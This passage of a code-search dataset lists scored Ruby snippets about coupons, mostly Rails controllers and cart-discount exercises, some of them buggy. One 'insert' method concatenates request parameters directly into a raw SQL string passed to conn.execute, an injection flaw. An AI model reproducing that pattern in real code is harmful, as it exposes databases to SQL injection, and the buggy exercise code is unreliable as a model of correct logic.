:discount_products, :additional_info, :coupon_use, :instruction, :background, :point_price, :secret, :number_of_coupons, :number, :status, :buyer_id, :purchased_at, :utilized_at, :currency_id)\n end", "title": "" }, { "docid": "87bce09098bbeb92aca2f5f88766a65e", "score": "0.57056195", "text": "def activate_coupons\n @promotion = Promotion.find(params[:id])\n @users = []\n\n if @promotion.quota_met?\n flash[:notice] = \"<strong>Coupon Script Good News</strong>:\"\n flash[:error] = \"<strong>Coupon Script Bad News</strong>:\"\n\n @promotion.deals.each do |deal|\n deal.coupons.inactive.each do |coupon| \n if coupon.activate!\n @users << coupon.user\n end\n end\n end\n else\n flash[:error] = \"This promotion has NOT reached its quota. I am not sure how you even got here in the first place.\"\n end\n \n @users.each do |user|\n coupons_to_email = []\n user.coupons.each do |coupon|\n if coupon.active? and !coupon.emailed?\n coupons_to_email << coupon\n coupon.emailed!\n end\n end\n \n unless coupons_to_email.empty? or !user.gets_coupon_ready_email?\n if Notifier.deliver_coupons_ready_notification(user, coupons_to_email)\n flash[:notice] += \"<br/>#{user.email} was emailed #{coupons_to_email.size} coupon(s): #{coupons_to_email.collect{|c| c.name}.join(',')}\"\n else\n flash[:error] += \"<br/>CRAP! There was a problem emailing #{coupons_to_email.size} coupon(s) to #{user.email}. Should probably email Rob or Matt (matt@sowhatsthedeal.com) about this.\"\n end\n end\n end\n \n if @users.empty?\n flash[:error] += '<br/>Seems like there were no new coupons to activate'\n end\n end", "title": "" }, { "docid": "c7cd40584fc6c1e3ef72b94e0e40fd1a", "score": "0.57043666", "text": "def apply_coupon!(order, coupon)\n CouponHandler.new(nil, order.coupon, order).update_order!\n CouponHandler.new(nil, order.coupon, order).update_coupon!\nend", "title": "" }, { "docid": "ef07b02d02a94d66f8d3ede170706766", "score": "0.5691575", "text": "def create\n @coupon = current_user.coupons.new(params[:coupon])\n\n respond_to do |format|\n #if @coupon.save\n if current_user.save\n format.html { redirect_to @coupon, notice: 'Coupon was successfully created.' }\n format.json { render json: @coupon, status: :created, location: @coupon }\n else\n format.html { render action: \"new\" }\n format.json { render json: @coupon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "078d3eb5cfa844a770c3ebe138bc88b5", "score": "0.5689686", "text": "def apply_coupons(cart, coupons)\ni = 0\nwhile i<coupons.length\n cart_item = find_item_by_name_in_collection(coupons[i][:item], cart)\n couponed_item_name = \"#{coupons[i][:item]} W/COUPON\"\n cart_item_with_coupon = find_item_by_name_in_collection(couponed_item_name, cart)\n if cart_item && cart_item[:count] >= coupons[i][:num]\n if cart_item_with_coupon\n cart_item_with_coupon[:count] += coupons[i][:num ]\n cart_item -= coupons[i][:num]\n else\n cart_item_with_coupon =\n { :item=>couponed_item_name,\n :price=>coupons[i][:cost] / coupons[i][:num],\n :count => coupons[i][:num],\n :clearance=>cart_item[:clearance]\n }\n cart << cart_item_with_coupon\n cart_item[:count] -= coupons[i][:num]\n\n end\n\n end\n i += 1\nend\ncart\nend", "title": "" }, { "docid": "e4c17c4119ecd99cecc108884ac5849c", "score": "0.56791824", "text": "def coupon_items(cart, coupons)\n\tcost = 0\n\tcart.each do |item|\n\t\titem.each do |name, attributes|\n\t\t#we want to make sure we have the minimum # of items to apply the coupon\n\t\t\tcoupons.each do |coupon|\n\t\t\t\tif name == coupon [:item] && attributes[:count] >= coupon[:num]\n\t\t\t\t#add the item to the total cost\n\t\t\t\tcost += coupon[:cost]\n\t\t\t\t#paid for the number of items reflected in the coupon\n\t\t\t\tattributes[:count] = attributes[:count] - coupon[:num]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\tcost\nend", "title": "" }, { "docid": "810e1d7995711d3073e6ba74a2fc91f8", "score": "0.565764", "text": "def create\n @coupon = @conference.coupons.new(coupon_params)\n\n respond_to do |format|\n if @coupon.save\n format.html { redirect_to admin_conference_coupons_path(@conference), notice: 'Coupon was successfully created.' }\n format.json { render json: @coupon, status: :created }\n else\n @tickets = @conference.tickets\n @currencies = @tickets.map{ |ticket| { 'id' => ticket.id, 'currency' => ticket.price_currency } }.to_json.html_safe\n format.html { render action: 'new' }\n format.json { render json: @coupon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d960adf790d4ee87c5f0defea2a77fec", "score": "0.56486416", "text": "def apply_coupons(cart, coupons)\n new_cart = []\n cart.each do |grocery_item|\n modified = false\n\n coupons.each do |coupon_item|\n if grocery_item[:item] == coupon_item[:item] && grocery_item[:count] >= coupon_item[:num]\n\n discount_item = {\n :item => \"#{grocery_item[:item].upcase} W/COUPON\",\n :price => coupon_item[:cost] / coupon_item[:num],\n :clearance => grocery_item[:clearance],\n :count => coupon_item[:num]\n }\n grocery_item[:count] -= coupon_item[:num]\n\n new_cart.push(discount_item)\n new_cart.push(grocery_item)\n modified = true\n end\n end\n if !modified\n new_cart.push(grocery_item)\n end\n end\n new_cart\nend", "title": "" }, { "docid": "1350b73d9891d7f0cef09d523e8404cd", "score": "0.56412804", "text": "def initialize(subscription, coupons)\n @subscription = subscription\n @collection = coupons.map{|coupon| Coupon.new(coupon) }\n end", "title": "" }, { "docid": "79ce66e8cb28e5459ae8dc6feb9ad477", "score": "0.5636566", "text": "def add_coupon(id, coupon)\n url = \"#{api_resource}/#{id}/coupons/#{coupon}\"\n request.put(url, nil).parse\n end", "title": "" }, { "docid": "5a0713f8bc97eec275c81209c331c0f5", "score": "0.5631135", "text": "def coupon_params\n params.require(:coupon).permit(:name, :code, :description, :is_porcentage, :value, :quantity, :cargapp_model_id, :user_id, :active, :company_id, :image, :category)\n end", "title": "" }, { "docid": "a48757fc6407669298f2f0bd0fe4b5de", "score": "0.5631054", "text": "def apply_coupons(cart, coupons)\n coupons.each do |coupon|\n name = coupon[:item]\n if cart[name]\n if (cart[name][:count] - coupon[:num]) >= 0\n cart[name][:count] -= coupon[:num]\n if cart[\"#{name} W/COUPON\"]\n cart[\"#{name} W/COUPON\"][:count] += 1\n else\n couponName = \"#{name} W/COUPON\"\n cart[couponName] = {}\n cart[couponName][:price] = coupon[:cost]\n cart[couponName][:clearance] = cart[name][:clearance]\n cart[couponName][:count] = 1\n end\n end\n end\n end\n return cart\nend", "title": "" }, { "docid": "a8ef5aca4e13e889bf198f7ed88e440b", "score": "0.5629117", "text": "def index\n @coupons = @store.coupons.order :id\n @coupon = @store.coupons.build\n end", "title": "" }, { "docid": "2af23996c4456ba752f86d78a18a906a", "score": "0.5621486", "text": "def apply_coupons(cart, coupons)\n i = 0\n while i < coupons.length\n item = find_item_by_name_in_collection(coupons[i][:item],cart)\n coupon_item = \"#{coupons[i][:item]} W/COUPON\"\n cart_item_coupon = find_item_by_name_in_collection(coupon_item, cart)\n #binding.pry\n if item && item[:count] >= coupons[i][:num] #if its elgible for a coupon, apply it!\n if cart_item_coupon\n cart_item_coupon[:count] += coupons[i][:num]\n item[:count] -= coupons[i][:num]\n else\n cart_item_coupon = {\n :item => coupon_item,\n :price => coupons[i][:cost]/coupons[i][:num],\n :count => coupons[i][:num],\n :clearance => item[:clearance]\n }\n cart << cart_item_coupon\n item[:count] -= coupons[i][:num]\n #binding.pry\n end\n end\n i += 1\n end\n cart\nend", "title": "" }, { "docid": "56ebf1164004deb18bc9005a84e5a7ef", "score": "0.5614854", "text": "def product_coupon_params\n params.require(:product_coupon).permit(:product_id, :coupon_id)\n end", "title": "" }, { "docid": "c733d4f90a1984d1ef51768f41e68927", "score": "0.5609565", "text": "def apply_coupons(cart, coupons)\n index = 0 \n while index < coupons.length do\n coupon_item = coupons[index][:item]\n req_num = coupons[index][:num]\n sale_price = coupons[index][:cost]\n matching_item = find_item_by_name_in_collection(coupon_item, cart)\n if matching_item && req_num <= matching_item[:count]\n matching_item[:count] -= req_num\n cart << {:item => \"#{coupon_item} W/COUPON\", \n :price => (sale_price / req_num), \n :clearance => matching_item[:clearance], \n :count => req_num}\n end\n index += 1 \n end\n cart\nend", "title": "" }, { "docid": "1eea86267a1a7b2a95821ab42b6fb7c8", "score": "0.5580956", "text": "def coupon_params\n params.require(:coupon).permit(:title, :message, :init_date, :end_date, :access_level, :legal, :proximity_trigger_range, :image, :code, :store_id, :stock, :category, :use_instructions)\n end", "title": "" }, { "docid": "2aae6589204616882764048d10504678", "score": "0.55765855", "text": "def create_multiple\n #puts \"came to create multiple.\"\n #puts \"params are:\"\n #puts params.to_s\n @auth_shopping_cart_items = []\n @auth_shopping_cart = @auth_shopping_cart_class.new(:add_cart_item_ids => [], :remove_cart_item_ids => [])\n #puts \"auth shopping discount is:\"\n #puts @auth_shopping_discount.to_s\n @auth_shopping_cart.discount_id = @auth_shopping_discount.id.to_s\n \n\n #puts \"is it is a new record\"\n #puts @auth_shopping_discount.new_record?\n unless @auth_shopping_discount.new_record?\n @auth_shopping_discount.product_ids.each do |product_id|\n \n if product = @auth_shopping_product_class.find(product_id)\n \n cart_item = create_cart_item_from_product(product)\n cart_item = add_owner_and_signed_in_resource(cart_item) \n \n if cart_item.save == true\n @auth_shopping_cart_items << cart_item\n @auth_shopping_cart.add_cart_item_ids << cart_item.id.to_s\n else\n puts \"the errors trying to save the item\"\n puts cart_item.errors.full_messages.to_s\n end\n end\n \n end\n else\n\n end\n \n \n\n end", "title": "" }, { "docid": "98d53ca4bd152d7368db33f3f1e4ac2f", "score": "0.55693495", "text": "def coupon_params\n params.require(:coupon).permit(:name, :description, :code, :url, :begin_at, :end_at, :enabled, :rules_url, :affiliate, :store_id)\n end", "title": "" }, { "docid": "ceff92d31ec15cb6b90e6186b22bd479", "score": "0.5563567", "text": "def ajouterCoup(coup)\n if(coup.couleur != coup.case.couleur && coup.couleur < Couleur::ILE_1)\n coup.case.couleur = coup.couleur\n @grilleRaz = nil\n tabCoup.pop(tabCoup.size - @indiceCoup) #supprimer les coups annulés\n tabCoup.push(coup)\n @indiceCoup += 1\n\n socket = Fenetre1v1.getSocket\n if(socket != nil)\n socket.puts (\"av\" + @grilleEnCours.getPourcentage(@grilleBase, nil).to_s )\n end\n\n return true\n end\n return false\n end", "title": "" }, { "docid": "acfcd1274c689fb2a5f387f500db2b27", "score": "0.5551486", "text": "def set_coupon\n @coupon = @store.coupons.find(params[:id])\n end", "title": "" }, { "docid": "3a61d050fefd80584c11af26deaa3ea2", "score": "0.55368704", "text": "def ajouterCoup(coup)\n if(coup.couleur != coup.case.couleur && coup.couleur < Couleur::ILE_1)\n coup.case.couleur = coup.couleur\n @grilleRaz = nil\n @tabCoup.pop(@tabCoup.size - @indiceCoup) #supprimer les coups annulés\n @tabCoup.push(coup)\n @indiceCoup += 1\n return true\n end\n return false\n end", "title": "" }, { "docid": "913848049ff9045ffb30056f081bc000", "score": "0.5533018", "text": "def set_coupon\n @coupon = Coupon.find(params[:id])\n end", "title": "" }, { "docid": "b10b224e3ebe4e06250750c460cd510d", "score": "0.55264616", "text": "def coupon\n @coupon ||= Coupon.create!(user: reward.user, discount: money, minimum_order: money, unit: :value, unique: true, origin: :reward)\n end", "title": "" }, { "docid": "1e91ad565f66ffdfc7439d82a04326f1", "score": "0.552561", "text": "def apply_coupons(cart, coupons)\n # Consult README for inputs and outputs\n #\n # REMEMBER: This method **should** update cart\nend", "title": "" }, { "docid": "f43e20188ce35fdfb59bd158a121ff32", "score": "0.55117255", "text": "def apply_coupon(coupon, cart)\n item = coupon.fetch(:item)\n if !cart.has_key?(\"#{item} W/COUPON\")\n cart[\"#{item} W/COUPON\"] = { price: coupon[:cost], clearance: cart[item][:clearance], count: 1 }\n else\n cart[\"#{item} W/COUPON\"][:count] += 1\n end\n cart[item][:count] -= coupon[:num]\nend", "title": "" }, { "docid": "15e2f206d62bbf972c37be3326ad50dc", "score": "0.5509554", "text": "def set_coupon\n @coupon = Coupon.find(params[:id])\n end", "title": "" }, { "docid": "15e2f206d62bbf972c37be3326ad50dc", "score": "0.55094606", "text": "def set_coupon\n @coupon = Coupon.find(params[:id])\n end", "title": "" }, { "docid": "15e2f206d62bbf972c37be3326ad50dc", "score": "0.55094606", "text": "def set_coupon\n @coupon = Coupon.find(params[:id])\n end", "title": "" }, { "docid": "15e2f206d62bbf972c37be3326ad50dc", "score": "0.55094606", "text": "def set_coupon\n @coupon = Coupon.find(params[:id])\n end", "title": "" }, { "docid": "15e2f206d62bbf972c37be3326ad50dc", "score": "0.55094606", "text": "def set_coupon\n @coupon = Coupon.find(params[:id])\n end", "title": "" }, { "docid": "15e2f206d62bbf972c37be3326ad50dc", "score": "0.55094606", "text": "def set_coupon\n @coupon = Coupon.find(params[:id])\n end", "title": "" }, { "docid": "15e2f206d62bbf972c37be3326ad50dc", "score": "0.55094606", "text": "def set_coupon\n @coupon = Coupon.find(params[:id])\n end", "title": "" }, { "docid": "15e2f206d62bbf972c37be3326ad50dc", "score": "0.55094606", "text": "def set_coupon\n @coupon = Coupon.find(params[:id])\n end", "title": "" }, { "docid": "15e2f206d62bbf972c37be3326ad50dc", "score": "0.55094606", "text": "def set_coupon\n @coupon = Coupon.find(params[:id])\n end", "title": "" }, { "docid": "82a52764aa52427cadad4fbe55207309", "score": "0.55029684", "text": "def set_coupon\n\t @coupon = Coupon.find(params[:id])\n\t end", "title": "" }, { "docid": "3b38dd0d56ae030d639d714c354ed510", "score": "0.5500296", "text": "def create\n @coupon = Coupon.new(coupon_params)\n\n respond_to do |format|\n if @coupon.save\n format.html { redirect_to @coupon, notice: 'Coupon was successfully created.' }\n format.json { render :show, status: :created, location: @coupon }\n else\n format.html { render :new }\n format.json { render json: @coupon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70f382b85791b09af639fb2963f82a3a", "score": "0.5493087", "text": "def create\n @coupon = Coupon.new(coupon_params)\n\n respond_to do |format|\n if @coupon.save\n format.html { redirect_to admin_coupons_path, notice: 'Coupon was successfully created.' }\n format.json { render action: 'show', status: :created, location: @coupon }\n else\n format.html { render action: 'new' }\n format.json { render json: @coupon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "663d0f98d97c0511a4251c3f162f8891", "score": "0.54921144", "text": "def set_coupon\n @coupon = Coupon.find(params[:id])\n end", "title": "" }, { "docid": "a47bc1a82ea57c09478c21e5b6db2a4d", "score": "0.54851556", "text": "def create\n @coupon = Coupon.new(coupon_params)\n\n respond_to do |format|\n if @coupon.save\n format.html { redirect_to @coupon, notice: \"Coupon was successfully created.\" }\n format.json { render :show, status: :created, location: @coupon }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @coupon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a47bc1a82ea57c09478c21e5b6db2a4d", "score": "0.54851556", "text": "def create\n @coupon = Coupon.new(coupon_params)\n\n respond_to do |format|\n if @coupon.save\n format.html { redirect_to @coupon, notice: \"Coupon was successfully created.\" }\n format.json { render :show, status: :created, location: @coupon }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @coupon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0a9103a0f11c95a7e3d1d23e28de3f27", "score": "0.54767555", "text": "def batch_insert(data)\n hash = Hash[data.collect { |v| [v, '1'] }]\n @redis.write_multi(hash)\n end", "title": "" }, { "docid": "0bd6ac740f72dad415b9134982a3a0ae", "score": "0.5474948", "text": "def coupon_params\n params.require(:coupon).permit(:ticket_id,\n :discount_type, :discount_amount,\n :name, :description,\n :max_times,\n :start_time, :end_time)\n end", "title": "" }, { "docid": "1937a620bd551d3a59c3c56d6cd96d1d", "score": "0.5464209", "text": "def coupon_params\n params.require(:coupon).permit(:code, :valid_city, :value, :value_type, :qualifying_amount, :max_discount, :max_usage, :max_usage_per_user, :expire_date, :start_date, :success_message, :coupon_message, :status, :valid_product, :valid_category, :valid_company)\n end", "title": "" }, { "docid": "9aa15f7bc0b081616111009698b35193", "score": "0.54554665", "text": "def activate_orders(token, coupon,card_id)\n order_with_coupon = self.orders.where(\"state = ? and coupon_id is not ?\", \"paused\", nil).first\n order_with_coupon.assign_attributes(coupon_id: coupon[\"id\"]) if coupon.present? && order_with_coupon.present?\n order_with_coupon.assign_attributes(coupon_id: nil) if order_with_coupon.present? && coupon.blank?\n\n\n if order_with_coupon.present?\n order_with_coupon.save(validate: false)\n order_with_coupon.update_total_and_item_total\n end\n\n paused_orders = self.orders.where(state: 'paused')\n\n paused_orders.each_with_index do |order, index|\n order.assign_attributes(state: \"confirm\",\n delivery_date: FIRST_DELIVERY_DAYS.days.from_now, subscription_token: token, is_blocked: false) if index == 0\n order.assign_attributes(state: \"confirm\",\n delivery_date: SECOND_DELIVERY_DAYS.days.from_now, subscription_token: token, is_blocked: false) if index == 1\n order.assign_attributes(state: \"confirm\",\n delivery_date: THIRD_DELIVERY_DAYS.days.from_now, subscription_token: token, is_blocked: false) if index == 2\n order.assign_attributes(creditcard_id: card_id)\n order.save(validate: false)\n end\n end", "title": "" }, { "docid": "9e8b44673525fc16201fadd75126444b", "score": "0.54523414", "text": "def create_coupons(application_id, campaign_id, body, opts = {})\n data, _status_code, _headers = create_coupons_with_http_info(application_id, campaign_id, body, opts)\n data\n end", "title": "" }, { "docid": "6e95fea7a01de1674eea6c3a0c584930", "score": "0.5449896", "text": "def set_coupon\n @coupon = Coupon.find(params[:id])\n end", "title": "" }, { "docid": "04bddd6c9c41a0e4ad5370576b505cbd", "score": "0.5443827", "text": "def coupon\n @coupon ||= Coupon.create!(user: reward.user, discount: percent, minimum_order: percent, unit: :percent, unique: true, origin: :reward)\n end", "title": "" }, { "docid": "e169ae62c845c108c32b4f6646261827", "score": "0.54430574", "text": "def apply_coupons(cart, coupon_array)\n # code here\n\n##coupon count block to account for multiple coupons, and increment them\ncoupon_update_array = []\n coupon_update_hash = {}\n coupon_count = Hash.new(0)\n\n coupon_array.each do |coupon_element|\n coupon_element.each do |key, value|\n if key == :item\n coupon_count[value] += 1\n end\n end\nend\n\ncoupon_array.each do |coupon_element|\n coupon_element.each do |item, avocado|\n coupon_count.each do |name, count|\n if avocado == name\n coupon_update_hash[coupon_element] = count\n end\n end\n end\nend\n\ncoupon_update_hash.each do |coupon_info, count|\n coupon_info[:total_count] = 0\n coupon_info.merge!(:count => count)\nend\n\ncoupon_update_hash.each do |coupon_info, count|\n coupon_info.each do |key, value|\n if key == :num\n coupon_info[:total_count] = count * value\n end\n end\nend\n\n#The code below takes care of multiple coupons for not having enough items to take advantage of the sale\n# If this is the case, the coupon_update_hash information is adjusted to delete coupons that\n# will not be eligible for use, since the client may not have enough items in their cart.\ncart.each do |item, item_info|\n coupon_update_hash.each do |coupon_info, count|\n coupon_info.each do |coupon_key, coupon_value|\n if coupon_key == :item && item == coupon_value\n item_info.each do |item_key, item_value|\n if item_key == :count\n coupon_info.each do |coupon_key1, coupon_value1|\n if coupon_key1 == :total_count && coupon_value1 > item_value\n coupon_info.each do |coupon_key2, coupon_value2|\n if coupon_key2 == :num\n coupon_info[:total_count] = coupon_value1 - coupon_value2\n end\n if coupon_key2 == :count\n coupon_info[:count] = coupon_value2 - 1\n end\n end\n end\n end\n end\n end\n end\n end\n end\nend\n\n\n## Block below will return the cart in the event that no coupons are given,\n #or no coupons apply\n coupon_names = []\n coupon_array.each do |coupons|\n coupons.each do |food_key, food_data|\n if food_key == :item\n coupon_names.push(food_data)\n end\n end\n end\n\n coupons_that_apply_to_cart = []\n cart.each do |food_name, food_data|\n if coupon_names.include?(food_name)\n coupons_that_apply_to_cart.push(food_name)\n end\n end\n if coupons_that_apply_to_cart.length == 0\n return cart\n end\n\n##This block will return the cart if they are not enough items in the cart\n## for the coupon to apply. This method does not account for multiple coupons\n## it looks at one coupon at a time. The method above accounts for the multiple coupons.\n## This method counts the items in the cart\n food_item_count = []\n cart.each do |food_name, food_info|\n coupons_that_apply_to_cart.each do |coupon_name|\n if food_name == coupon_name\n food_info.each do |key, value|\n if key == :count\n food_item_count.push({food_name => value})\n end\n end\n end\n end\n end\n\n # This method counts the items that you need to apply the coupon\n food_coupon_count = []\n coupon_update_hash.each do |coupon_data, count|\n coupon_data.each do |key, value|\n coupons_that_apply_to_cart.each do |coupon_name|\n if key == :item && value == coupon_name\n coupon_data.each do |key, value|\n if key == :num\n food_coupon_count.push({coupon_name => value})\n end\n end\n end\n end\n end\n end\n\n #This method compares the items in the cart, with the items needed to apply the coupon\n # If the item's count in the cart is greater than or equal to the required coupon count\n # The item gets pushed to the qualifying_coupons_based_on_count array.\n qualifying_coupons_based_on_count = []\n food_coupon_count.each do |coupon_info|\n food_item_count.each do |food_info|\n coupon_info.each do |coupon_name, count_coupon|\n food_info.each do |food_name, count_food|\n if food_name == coupon_name && count_food >= count_coupon\n qualifying_coupons_based_on_count.push({coupon_name => count_coupon})\n end\n end\n end\n end\n end\n\n #If the qualifying_coupons_based_on_count array's length is zero, we return the cart since\n #although the customer may have items that are on sale, they have not bought the appropriate\n # quantities to qualify for the special price\n if qualifying_coupons_based_on_count.length == 0\n return cart\n end\n\n ## This block of code checks to see if there is any discrepancy between the qualifying_coupons_based_on_count\n # and the coupons_that_apply_to_cart array. If there are any mismatches, we edit the\n # coupons_that_apply_to_cart array, to make sure we do not include them in the final cart\n qualifying_coupons_based_on_count.each do |qualifying_coupon|\n qualifying_coupon.each do |coupon_name, count|\n if !coupons_that_apply_to_cart.include?(coupon_name)\n coupons_that_apply_to_cart.delete(coupon_name)\n end\n end\n end\n\n# This block adds the updated items with the correct format, and\n# skeleton\n\n coupon_item = \"\"\n coupons_that_apply_to_cart.each do |coupon_name|\n coupon_item = coupon_name + \" W/COUPON\"\n cart[coupon_item] = {:price => 0, :clearance => 0, :count => 0}\n end\n\n coupon_array.each do |coupon_element|\n coupon_element.each do |coupon_key, coupon_data|\n coupons_that_apply_to_cart.each do |coupon_name|\n if coupon_key == :item && coupon_data == coupon_name\n coupon_element.each do |coupon_key, coupon_data|\n if coupon_key == :cost\n cart[coupon_name + \" W/COUPON\"][:price] = coupon_data\n end\n end\n end\n end\n end\n end\n\n\n## This block will take care of the clearance\n cart.each do |avocado, avocado_info|\n avocado_info.each do |price, price_info|\n coupons_that_apply_to_cart.each do |coupon_name|\n if price == :clearance && avocado == coupon_name\n cart[coupon_name + \" W/COUPON\"][:clearance] = price_info\n end\n end\n end\n end\n\n## This block will take care of updating the counts for the couponed items\n coupon_update_hash.each do |coupon_info, count|\n coupon_info.each do |item, item_name|\n coupons_that_apply_to_cart.each do |coupon_name|\n if item == :item && item_name == coupon_name\n coupon_info.each do |item1, item_name1|\n if item1 == :count\n cart[coupon_name + \" W/COUPON\"][:count] = item_name1\n end\n end\n end\n end\n end\n end\n\n## update counts for remainder items that were left as a result of not fitting coupon_info\n## parameters\n cart.each do |food_name, food_info|\n food_info.each do |food_key, food_value|\n coupon_update_hash.each do |coupon_info, count|\n coupon_info.each do |coupon_key, coupon_value|\n if coupon_key == :item && coupon_value == food_name\n coupon_info.each do |coupon_key, coupon_value|\n if food_key == :count && coupon_key == :total_count\n cart[food_name][:count] = food_value - coupon_value\n end\n end\n end\n end\n end\n end\n end\nreturn cart\nend", "title": "" }, { "docid": "5f111d4f6f7c7cb803d1891fda4f1994", "score": "0.5442584", "text": "def coupon_params\n params.require(:coupon).permit(:code, :expires_at, :redeemed_at, :account_name, :amount, :ref_coupon_id, :asset, :asset_id)\n end", "title": "" }, { "docid": "9fdfedc802dbcd9727208e6447b4182c", "score": "0.5427693", "text": "def create\n @coupon = Coupon.create(coupon_params)\n redirect_to coupon_path(@coupon)\nend", "title": "" }, { "docid": "41f67bc33c25178f74133455ee58f1c5", "score": "0.5394161", "text": "def apply_coupon\n if self.behavior == 'coupon'\n item = self.item\n \n # coitem is the OrderItem to which the coupon acts upon\n coitem = self.order.order_items.visible.find_by_sku(item.coupon_applies)\n log_action \"apply_coupon: coitem was not found\" and return if coitem.nil?\n\n unless coitem.coupon_amount.zero? then\n log_action \"apply_coupon: This item is a coupon, but a coupon_amount has already been set\"\n return\n end\n \n log_action \"apply_coupon: Starting to apply coupons. total before is #{ coitem.total_cents }\"\n \n ctype = self.item.coupon_type\n if ctype == 1\n # percent rebate\n factor = self.price_cents / 100.0 / 100.0\n if self.vendor.net_prices\n coitem.coupon_amount_cents = coitem.net.fractional * factor\n else\n coitem.coupon_amount_cents = coitem.gross.fractional * factor\n end\n log_action \"apply_coupon: Applying Percent rebate coupon: price_cents is #{ self.price_cents }, factor is #{ factor }, coupon_amount_cents is #{ coitem.coupon_amount_cents }\"\n elsif ctype == 2\n # fixed amount\n coitem.coupon_amount_cents = self.price_cents\n log_action \"apply_coupon: Applying Fixed amount coupon: coupon_amount_cents is #{ coitem.coupon_amount_cents }\"\n elsif ctype == 3\n # buy x get y free\n log_action \"apply_coupon: Applying B1G1\"\n x = 2\n y = 1\n if coitem.quantity >= x\n if self.vendor.net_prices\n coitem.coupon_amount_cents = y * coitem.net.fractional / coitem.quantity\n else\n coitem.coupon_amount_cents = y * coitem.gross.fractional / coitem.quantity\n end\n log_action \"apply_coupon: Applying B1G1 coupon: coupon_amount_cents is #{ coitem.coupon_amount_cents }\"\n end\n end\n if self.vendor.net_prices\n coitem.total = coitem.net - coitem.coupon_amount\n else\n # log_action \"XXXXXXXXX #{ coitem.gross.inspect } #{ coitem.coupon_amount.inspect }\"\n coitem.total = coitem.gross - coitem.coupon_amount\n end\n log_action \"apply_coupon: OrderItem Total after coupon applied is: #{coitem.total_cents} and coupon_amount is #{coitem.coupon_amount_cents}\"\n coitem.calculate_tax\n coitem.save!\n else\n self.total -= self.coupon_amount\n end\n end", "title": "" }, { "docid": "3f0f4c6e5b7f48283d018cb95b26c00f", "score": "0.53885835", "text": "def create\n @coupon = Coupon.new(coupon_params)\n @coupon.user = current_user\n\n respond_to do |format|\n if @coupon.save\n format.html { redirect_to @coupon, notice: 'Cupom foi criado com sucesso.' }\n format.json { render :show, status: :created, location: @coupon }\n else\n format.html { render :new }\n format.json { render json: @coupon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3959748800b53755324ee6afb9f00a50", "score": "0.53839624", "text": "def coupon_params\n params.require(:coupon).permit(:name, :catalog, :effect_time, :invalid_time, :good_id, :score, :status)\n end", "title": "" }, { "docid": "d553cfc0fb381863c8ee7822bf5bfff0", "score": "0.53685427", "text": "def insert\n values = params[:workshop_ids]\n conn = ActiveRecord::Base.connection\n id = cookies.signed[:id]\n workshop_list = \"\"\n count = 0\n values.each do |v|\n workshop_list += v.to_s\n if count < values.size - 1\n workshop_list += \",\"\n end\n count += 1\n end\n \n conn.execute(\"select update_worker_workshops(\" + \n id.to_s + \",'\" + workshop_list+ \"')\")\n redirect_to :action=>\"success\", :controller=>\"workshops\"\n end", "title": "" }, { "docid": "14ded0acab266400d306980546118429", "score": "0.53635734", "text": "def coupon_params\n params.require(:coupon).permit(:store, :coupon_code)\n end", "title": "" }, { "docid": "fec9bca5c342251a6628626c6eb70156", "score": "0.5343447", "text": "def coupon_params\n params.require(:coupon).permit(:code,:description,:valid_from,:valid_until,:amount,:redemption_limit,:discount_type)\n end", "title": "" }, { "docid": "4155e400c192bb77571cd7c5c6a29630", "score": "0.53394276", "text": "def create\n\n #puts coupon_params.inspect\n\n @coupon = Coupon.new(coupon_params)\n @coupon.store_id = @store.id\n respond_to do |format|\n if @coupon.valid?\n @coupon.save\n DateUpdate.new().save\n format.html { redirect_to local_store_path(@local, @store) , notice: 'Coupon was successfully created.' }\n format.json { render :show, status: :created, location: @coupon }\n else\n format.html { render :new }\n format.json { render json: @coupon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "07a2cf9214a1b23ee07ae765beb5a958", "score": "0.5336157", "text": "def create_cups kit, number_of_compartments\n for i in 1..number_of_compartments\n kit.cups.create(:commit_status => false, :status => true, :cup_number => i.to_i)\n end\n end", "title": "" }, { "docid": "78919a68196ac6faeb09a9866ba20e3d", "score": "0.53301823", "text": "def insert\n @companies = Company.all\n @placement_news = PlacementNews.all\n end", "title": "" }, { "docid": "a8db349d39a4e142b89f2f113b353dd9", "score": "0.531685", "text": "def batch_insert(docs)\n execute_batch_push(docs)\n end", "title": "" }, { "docid": "71e45f235ce22a84db2b939e2545ecce", "score": "0.5284414", "text": "def insert_coupon_with_http_info(coupon, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CouponApi.insert_coupon ...'\n end\n # verify the required parameter 'coupon' is set\n if @api_client.config.client_side_validation && coupon.nil?\n fail ArgumentError, \"Missing the required parameter 'coupon' when calling CouponApi.insert_coupon\"\n end\n # resource path\n local_var_path = '/coupon/coupons'\n\n # query parameters\n query_params = {}\n query_params[:'_expand'] = opts[:'_expand'] if !opts[:'_expand'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json; charset=UTF-8'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(coupon)\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CouponResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CouponApi#insert_coupon\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "4f91c8cbe0789a0ac92561012facadc6", "score": "0.52807134", "text": "def coupon_params\n params.require(:coupon).permit(:title, :description, :valid_from, :valid_until, :redemption_limit, :image)\n end", "title": 